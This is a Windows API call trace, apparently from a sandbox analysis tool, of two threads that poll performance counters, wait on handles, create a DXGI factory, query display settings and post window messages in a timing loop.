[0214.538] GetCurrentThreadId () returned 0xdf4
Thread:
id = 38
os_tid = 0x4dc
[0196.903] GetCurrentThreadId () returned 0x4dc
[0196.904] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x6e2fcca0, phModule=0x69aff7c | out: phModule=0x69aff7c*=0x6dc70000) returned 1
[0196.904] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013164633357) returned 1
[0196.904] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0196.904] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013164696777) returned 1
[0196.905] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0199.391] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013413356475) returned 1
[0199.391] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x56) returned 0x102
[0199.487] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013422932407) returned 1
[0199.487] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0201.120] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013586243035) returned 1
[0201.120] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x54) returned 0x102
[0201.220] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3013596256340) returned 1
[0201.221] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0212.110] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3014685297079) returned 1
[0212.111] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0212.208] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3014695045772) returned 1
[0212.208] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x63) returned 0x102
[0212.359] QueryPerformanceCounter (in: lpPerformanceCount=0x69aff30 | out: lpPerformanceCount=0x69aff30*=3014710166523) returned 1
[0212.378] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0xffffffff) returned 0x0
[0213.334] FreeLibraryAndExitThread (hLibModule=0x6dc70000, dwExitCode=0x0)
[0213.334] RtlTryEnterCriticalSection (CriticalSection=0x6d299fe8) returned 1
[0213.335] GetCurrentThreadId () returned 0x4dc
Thread:
id = 39
os_tid = 0xd04
[0196.905] GetCurrentThreadId () returned 0xd04
[0196.905] GetCurrentThread () returned 0xfffffffe
[0196.905] SetThreadPriority (hThread=0xfffffffe, nPriority=15) returned 1
[0196.905] WTSGetActiveConsoleSessionId () returned 0x1
[0196.905] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0196.906] LoadLibraryExA (lpLibFileName="dxgi.dll", hFile=0x0, dwFlags=0x0) returned 0x72520000
[0196.913] GetProcAddress (hModule=0x72520000, lpProcName="CreateDXGIFactory") returned 0x7252fd60
[0196.914] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x6aefcc8 | out: lpflOldProtect=0x6aefcc8*=0x4) returned 1
[0196.914] CreateDXGIFactory () returned 0x0
[0197.310] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x6aefd54 | out: lpDevMode=0x6aefd54) returned 1
[0197.311] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013205335948) returned 1
[0197.311] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013205367437) returned 1
[0197.311] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.311] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x402a6aa, lParam=0x3d09) returned 1
[0197.312] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013205413351) returned 1
[0197.312] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013205452231) returned 1
[0197.312] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.312] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x402a9fa, lParam=0x3d09) returned 1
[0197.312] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013205487377) returned 1
[0197.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013208914122) returned 1
[0197.347] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.347] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4033135, lParam=0x3d09) returned 1
[0197.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013208951558) returned 1
[0197.347] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013208982148) returned 1
[0197.347] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.347] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x40333dd, lParam=0x3d09) returned 1
[0197.348] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013209013372) returned 1
[0197.355] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013209744214) returned 1
[0197.355] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.355] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x40351a2, lParam=0x3d09) returned 1
[0197.355] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013209784965) returned 1
[0197.371] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013211319241) returned 1
[0197.371] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.371] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4038f28, lParam=0x3d09) returned 1
[0197.371] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013211359530) returned 1
[0197.387] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013212926545) returned 1
[0197.387] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.387] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x403cdf1, lParam=0x3d09) returned 1
[0197.387] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013212963364) returned 1
[0197.405] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013214717149) returned 1
[0197.405] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.405] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x40413e3, lParam=0x3d09) returned 1
[0197.405] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013214753813) returned 1
[0197.420] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013216273080) returned 1
[0197.420] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.420] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x40450aa, lParam=0x3d09) returned 1
[0197.421] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013216316869) returned 1
[0197.436] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013217880941) returned 1
[0197.436] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.436] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x4048f79, lParam=0x3d09) returned 1
[0197.437] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013217931255) returned 1
[0197.452] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013219478655) returned 1
[0197.452] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.452] PostMessageW (hWnd=0x203d8, Msg=0x401, wParam=0x404cde2, lParam=0x3d09) returned 1
[0197.453] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013219525371) returned 1
[0197.469] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013221126570) returned 1
[0197.469] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013221149983) returned 1
[0197.484] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013222703201) returned 1
[0197.485] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013222718470) returned 1
[0197.500] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013224276615) returned 1
[0197.500] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013224328630) returned 1
[0197.516] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013225871471) returned 1
[0197.516] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013225890292) returned 1
[0197.532] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013227475628) returned 1
[0197.532] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013227507418) returned 1
[0197.548] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013229067186) returned 1
[0197.548] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013229082547) returned 1
[0197.564] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013230667258) returned 1
[0197.564] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013230682569) returned 1
[0197.580] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013232268297) returned 1
[0197.580] WTSGetActiveConsoleSessionId () returned 0x1
[0197.581] CreateDXGIFactory () returned 0x0
[0197.582] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x6aefd54 | out: lpDevMode=0x6aefd54) returned 1
[0197.583] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013232538065) returned 1
[0197.598] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013234019232) returned 1
[0197.598] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013234035004) returned 1
[0197.613] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013235563076) returned 1
[0197.613] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013235579293) returned 1
[0197.629] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013237181373) returned 1
[0197.629] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013237201568) returned 1
[0198.599] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013334193635) returned 1
[0198.600] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013334222505) returned 1
[0198.639] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013338126266) returned 1
[0198.639] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013338142455) returned 1
[0198.639] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013338200327) returned 1
[0198.640] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013338221289) returned 1
[0198.652] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013339431558) returned 1
[0198.652] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013339446605) returned 1
[0198.668] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013341034224) returned 1
[0198.668] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013341049478) returned 1
[0198.684] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013342635217) returned 1
[0198.684] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013342650369) returned 1
[0198.700] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013344254647) returned 1
[0198.700] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013344274370) returned 1
[0198.716] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013345832821) returned 1
[0198.716] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013345848708) returned 1
[0198.732] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013347430497) returned 1
[0198.732] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013347446410) returned 1
[0198.748] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013349031480) returned 1
[0198.748] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013349046808) returned 1
[0198.764] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013350639807) returned 1
[0198.764] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013350679051) returned 1
[0198.780] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013352278386) returned 1
[0198.781] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013352345666) returned 1
[0198.796] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013353843749) returned 1
[0198.796] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013353863905) returned 1
[0198.812] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013355447177) returned 1
[0198.812] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013355471182) returned 1
[0198.828] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013357037544) returned 1
[0198.828] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013357056844) returned 1
[0198.844] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013358654389) returned 1
[0198.844] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013358677841) returned 1
[0198.860] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013360242526) returned 1
[0198.860] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013360267473) returned 1
[0198.876] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013361837028) returned 1
[0198.876] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013361855303) returned 1
[0198.892] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013363434353) returned 1
[0198.892] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013363451575) returned 1
[0198.908] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013365037427) returned 1
[0198.908] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013365057734) returned 1
[0198.924] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013366642418) returned 1
[0198.924] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013366726864) returned 1
[0198.940] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013368235949) returned 1
[0198.940] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013368253722) returned 1
[0198.957] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013370037644) returned 1
[0198.958] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013370075941) returned 1
[0198.973] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013371539152) returned 1
[0198.973] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013371563349) returned 1
[0198.989] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013373146459) returned 1
[0198.989] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013373174244) returned 1
[0199.005] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013374747553) returned 1
[0199.005] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013374765984) returned 1
[0199.021] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013376323939) returned 1
[0199.021] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013376338706) returned 1
[0199.036] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013377907484) returned 1
[0199.037] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013377923074) returned 1
[0199.052] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013379478096) returned 1
[0199.052] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013379493777) returned 1
[0199.068] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013381077039) returned 1
[0199.068] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013381092289) returned 1
[0199.084] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013382678523) returned 1
[0199.084] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013382693611) returned 1
[0199.100] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013384276377) returned 1
[0199.100] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013384294993) returned 1
[0199.116] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013385873853) returned 1
[0199.116] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013385889524) returned 1
[0199.132] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013387472128) returned 1
[0199.132] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013387487323) returned 1
[0199.148] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013389127462) returned 1
[0199.149] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013389144583) returned 1
[0199.164] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013390689413) returned 1
[0199.165] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013390719530) returned 1
[0199.180] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013392283750) returned 1
[0199.181] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013392310830) returned 1
[0199.196] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013393880702) returned 1
[0199.196] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013393907049) returned 1
[0199.213] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013395596623) returned 1
[0199.214] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013395619731) returned 1
[0199.229] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013397188877) returned 1
[0199.230] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013397217328) returned 1
[0199.276] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013401846364) returned 1
[0199.276] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013401871140) returned 1
[0199.278] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013402025889) returned 1
[0199.278] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013402044184) returned 1
[0199.323] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013406552278) returned 1
[0199.323] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013406572880) returned 1
[0199.336] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013407875902) returned 1
[0199.336] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013407902425) returned 1
[0199.352] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013409443979) returned 1
[0199.352] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013409468818) returned 1
[0199.369] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013411136635) returned 1
[0199.369] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013411161055) returned 1
[0199.385] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013412730646) returned 1
[0199.385] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013412759260) returned 1
[0199.402] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013414434805) returned 1
[0199.402] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013414462947) returned 1
[0199.418] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013416022425) returned 1
[0199.418] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013416041064) returned 1
[0199.434] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013417625785) returned 1
[0199.434] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013417650433) returned 1
[0199.450] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013419279110) returned 1
[0199.451] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013419412630) returned 1
[0199.466] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013420817972) returned 1
[0199.466] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013420832474) returned 1
[0199.482] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013422450695) returned 1
[0199.482] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013422465475) returned 1
[0199.498] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013424016200) returned 1
[0199.498] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013424030711) returned 1
[0199.515] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013425731307) returned 1
[0199.515] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013425760500) returned 1
[0199.531] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013427341497) returned 1
[0199.531] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013427364331) returned 1
[0199.547] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013428928518) returned 1
[0199.547] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013428944601) returned 1
[0199.563] QueryPerformanceCounter (in: lpPerformanceCount=0x6aefdfc | out: lpPerformanceCount=0x6aefdfc*=3013430520283) returned 1
